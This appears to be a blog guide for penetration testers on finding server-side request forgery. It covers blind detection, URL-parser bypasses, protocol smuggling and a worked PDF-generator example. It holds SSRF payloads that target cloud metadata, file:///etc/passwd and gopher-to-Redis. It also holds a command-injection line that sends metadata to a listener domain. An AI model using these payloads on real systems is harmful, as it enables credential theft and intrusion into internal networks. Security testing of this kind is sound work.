Server-side request forgery (SSRF) is the kind of vulnerability that keeps getting worse as architectures get more complex. Cloud metadata services, internal load balancers, and container orchestration networks have turned what was once a niche bug into a critical attack surface. Yet many testing strategies still rely on the same basic payload lists from a few years ago. We have seen teams run a handful of requests against localhost and call it done, missing the blind spots that real attackers exploit. This guide is for security engineers and penetration testers who already know what SSRF is. We are going to focus on what your current testing strategy probably misses, and how to fix it.
Why the Old Testing Playbook Falls Short
The classic SSRF test is straightforward: you find an endpoint that fetches a URL, you send http://127.0.0.1:80, and you look for a response that reveals internal data. That approach still works for trivial cases, but modern applications have changed the game. Cloud environments have metadata services at predictable IPs like 169.254.169.254 that can leak cloud provider credentials. Internal networks are flatter, so a request to an internal API might return sensitive data without any obvious sign in the HTTP response. And many applications now run behind reverse proxies that rewrite URLs, making simple payloads ineffective.
A deeper problem is that testing strategies often treat SSRF as a binary thing: either you can read a response, or you cannot. In practice, blind SSRF is far more common. The server makes the request, but the response is never reflected back to the attacker. That means you need to detect side effects: timing differences, out-of-band callbacks, or changes in internal state. Most automated scanners are terrible at this, and manual testers often overlook it because they are looking for the wrong signals.
Another blind spot is the assumption that only HTTP and HTTPS matter. Real-world SSRF can happen over any protocol the server supports: FTP, SMB, gopher, or even custom TCP wrappers. If your testing only covers HTTP, you are leaving a gap that attackers will find. We have seen cases where a file download feature that accepted file:// URLs allowed reading arbitrary server files, something a basic HTTP-focused scan would never catch.
Finally, many testing strategies ignore the context of where the request is made. A request to an internal service might be harmless in one part of the application but catastrophic in another. For example, a URL fetch in a user profile picture uploader might have different network access than one in an admin dashboard. Testing each endpoint in isolation misses these contextual differences.
The Cost of Missing Blind SSRF
When you miss a blind SSRF, you are not just leaving a theoretical bug. Attackers can use it to scan internal networks, access cloud metadata, and pivot to other services. In cloud environments, a single blind SSRF can lead to full account compromise if the metadata service exposes temporary credentials. The cost of a missed detection is far higher than the effort to test thoroughly.
Why Automation Alone Is Not Enough
Automated scanners are good at finding obvious SSRF, but they struggle with blind variants and protocol smuggling. They also generate false positives that waste time. A manual testing strategy that combines automation with targeted probes is the only way to cover the gaps.
Core Mechanisms: What Actually Happens Inside the Request
To test SSRF effectively, you need to understand what happens when the server makes a request. The application takes a user-supplied URL, passes it to a backend function (like curl, file_get_contents, or an HTTP library), and the server sends a request to that URL. The response may or may not be returned to the user. The key is that the request originates from the server's network context, not the client's.
There are three main categories of SSRF based on what the attacker can observe:
- Reflected SSRF: The server returns the response body to the attacker. This is the easiest to detect and exploit.
- Blind SSRF: The server makes the request but does not return the response. Detection relies on out-of-band signals or side effects.
- Semi-blind SSRF: The server returns some metadata about the response (like status code or response time) but not the full body.
Each category requires a different testing approach. For reflected SSRF, you can look for data in the response. For blind SSRF, you need to set up an external listener (like a Burp Collaborator or a custom server) and watch for incoming connections. For semi-blind, you can infer internal information from timing and error messages.
How URL Parsing Can Be Tricked
Many SSRF protections rely on validating the URL before making the request. Attackers have developed a variety of bypasses that exploit differences between how the validator parses the URL and how the backend library does. For example, using http://127.0.0.1#@evil.com might pass a blocklist check for evil.com but still resolve to localhost in some parsers. Similarly, using IPv6 addresses (http://[::1]:80), decimal IPs (http://2130706433:80), or DNS rebinding can all bypass naive filters.
The core mechanism here is parser inconsistency. If your testing does not include a variety of URL formats, you will miss these bypasses. A good strategy is to test each endpoint with at least 20 different representations of localhost and common internal IPs.
Protocol Smuggling and Redirects
Another mechanism is protocol smuggling. If the server follows redirects, an attacker can start with an allowed protocol (like HTTPS) and redirect to a blocked one (like file:// or gopher://). This is especially dangerous in cloud environments where redirects to metadata endpoints can leak credentials. Testing for redirect-based SSRF requires setting up a controlled redirect server or using a service like webhook.site that allows custom redirects.
Building a Testing Methodology That Covers the Gaps
Now we get to the practical part. A robust SSRF testing strategy should include the following steps, applied to every endpoint that accepts a URL or hostname.
Step 1: Map All URL-Fetching Endpoints
Start by identifying every place in the application where a user-supplied URL is used to make a server-side request. This includes not just obvious fields like "image URL" but also webhooks, RSS feed importers, PDF generators, and even server-side redirects. Use a combination of code review, traffic analysis, and fuzzing to find hidden endpoints.
Step 2: Test for Reflected SSRF with a Payload Suite
For each endpoint, send a set of payloads targeting common internal resources. Include at least:
http://127.0.0.1:80http://localhost:80http://[::1]:80http://0.0.0.0:80http://169.254.169.254(cloud metadata)file:///etc/passwdgopher://127.0.0.1:6379/_(Redis)
Look for the response to contain data from the internal resource. If the response is empty or an error, move to blind testing.
Step 3: Set Up Out-of-Band Detection
For blind SSRF, you need an external listener. Burp Collaborator, interactsh, or a custom VPS with netcat can work. Send payloads that cause the server to connect to your listener, such as http://your-collaborator-id.burpcollaborator.net. Monitor for incoming HTTP, DNS, or ICMP requests. If you receive a callback, you have confirmed a blind SSRF.
Step 4: Test for Time-Based Blind SSRF
Some applications do not make outbound connections at all if the URL is invalid, but they do if it is valid. You can use timing to infer whether a request was made. For example, send a request to a slow endpoint (like a sleep endpoint on your server) and measure the response time. A delay indicates that the server made the request. This is useful when out-of-band channels are blocked.
Step 5: Bypass Filter Protections
If the application has a blocklist or allowlist, test bypasses systematically. Use DNS rebinding, alternate IP representations, and URL obfuscation. For allowlists, try to find subdomains of allowed domains that point to internal IPs (like evil.alloweddomain.com that resolves to 127.0.0.1).
Worked Example: Testing a Cloud-Native PDF Generator
Let us walk through a composite scenario to see how these steps come together. Imagine an application that generates PDFs from user-supplied URLs. The user enters a URL, the server fetches the HTML, and converts it to PDF. The response is the PDF file, so any data in the HTML is rendered into the PDF. This is a classic reflected SSRF scenario.
We start by sending a URL to localhost: http://127.0.0.1:80. The PDF comes back with an error page from the internal web server. That confirms SSRF. Next, we try the cloud metadata endpoint: http://169.254.169.254/latest/meta-data/. The PDF contains the metadata JSON. We have just extracted cloud credentials.
But what if the application blocks 169.254.169.254? We try an alternate representation: http://[0:0:0:0:0:ffff:169.254.169.254]. If that works, the blocklist is bypassed. We also test redirect-based bypass: set up a URL that redirects to the metadata endpoint. If the server follows redirects, we get the metadata.
Now consider a blind variant. The PDF generator fetches the URL but only returns a success message, not the content. We set up an out-of-band listener and send a URL to our listener. We see a callback, confirming the server made the request. To extract data, we might use a technique like DNS exfiltration: send a URL that includes the metadata in the hostname (e.g., http://`curl 169.254.169.254`.our-listener.net). This works if the server supports command injection in the URL, but even without that, we can use a redirect to a malicious server that logs the request and then redirects to the metadata endpoint, capturing the response.
Edge Cases and Exceptions That Break Common Assumptions
Even a thorough testing methodology can miss edge cases. Here are some of the most common exceptions that we have seen trip up experienced testers.
IPv6-Only Internal Networks
Many cloud environments have internal services that only listen on IPv6. If your testing only uses IPv4 addresses, you will miss these. Always include IPv6 loopback ([::1]) and link-local addresses.
Non-HTTP Services on Standard Ports
Internal services might run on ports like 3306 (MySQL) or 6379 (Redis) but the application only allows HTTP URLs. If the server library supports other protocols (like gopher://), you can still interact with those services. For example, a gopher request to Redis can be used to write arbitrary data to the Redis store, which might lead to code execution.
DNS Rebinding Protections
Some applications implement DNS rebinding protection by caching DNS results or validating that the IP does not change during the request. However, this can be bypassed by using a very short TTL or multiple DNS records. Testing for this requires setting up a custom DNS server that changes the IP after the first lookup.
Cloud Provider-Specific Metadata Endpoints
Each cloud provider has its own metadata service. AWS uses 169.254.169.254, but Azure uses 169.254.169.254 as well (with different paths), and Google Cloud uses metadata.google.internal. Make sure your testing covers all major providers, even if the application is hosted on one, because the application might make requests to other clouds.
Request Smuggling via HTTP/2
If the application supports HTTP/2, there are additional SSRF vectors related to request smuggling. For example, using HTTP/2's pseudo-headers to direct the request to an internal host. This is an advanced area, but worth testing if the application uses a modern server.
Limits of the Approach: When Your Testing Strategy Still Fails
No testing strategy is perfect. Here are the inherent limitations you need to accept and work around.
Network Segmentation and Egress Filtering
If the application server is in a tightly controlled network segment, outbound connections to the internet might be blocked. That means out-of-band detection will not work. In that case, you have to rely on timing-based detection or side effects like error messages. But even timing can be unreliable if the network is noisy.
Application-Level Logging and Monitoring
Some applications log all outbound requests and alert on suspicious destinations. If you trigger an alert, the security team might block your testing or the application might rate-limit you. This is a operational constraint, not a technical one, but it can limit how aggressively you test.
False Positives from Normal Application Behavior
If the application makes outbound requests as part of its normal operation (e.g., checking for updates), your out-of-band listener might receive callbacks that are not from your payloads. You need to use unique identifiers per payload to distinguish your tests from background noise.
Stateful Firewalls and NAT
Some internal networks use stateful firewalls that track connections. If the application makes a request to an internal IP, the firewall might allow the response back, but if the request is to an external IP, it might be blocked. This can make blind SSRF detection harder because the callback might not reach your listener.
The Arms Race of Protections
As SSRF protections become more common, bypass techniques evolve. What works today might be blocked tomorrow. The only sustainable approach is to understand the underlying mechanisms and test creatively, rather than relying on a fixed payload list.
Next Steps for Your Testing Program
To close the gaps we have discussed, take these concrete actions:
- Add out-of-band detection to your standard testing toolkit. Set up a collaborator server or use a service like interactsh.
- Expand your payload suite to include IPv6, decimal IPs, and protocol smuggling payloads. Maintain a living document of bypasses.
- Test every URL-fetching endpoint, not just the obvious ones. Use code review and fuzzing to find hidden features.
- Incorporate timing-based detection for environments where outbound connections are blocked.
- Share findings with your team and update your testing methodology regularly. SSRF is not a static threat.
Comments (0)
Please sign in to post a comment.
Don't have an account? Create one
No comments yet. Be the first to comment!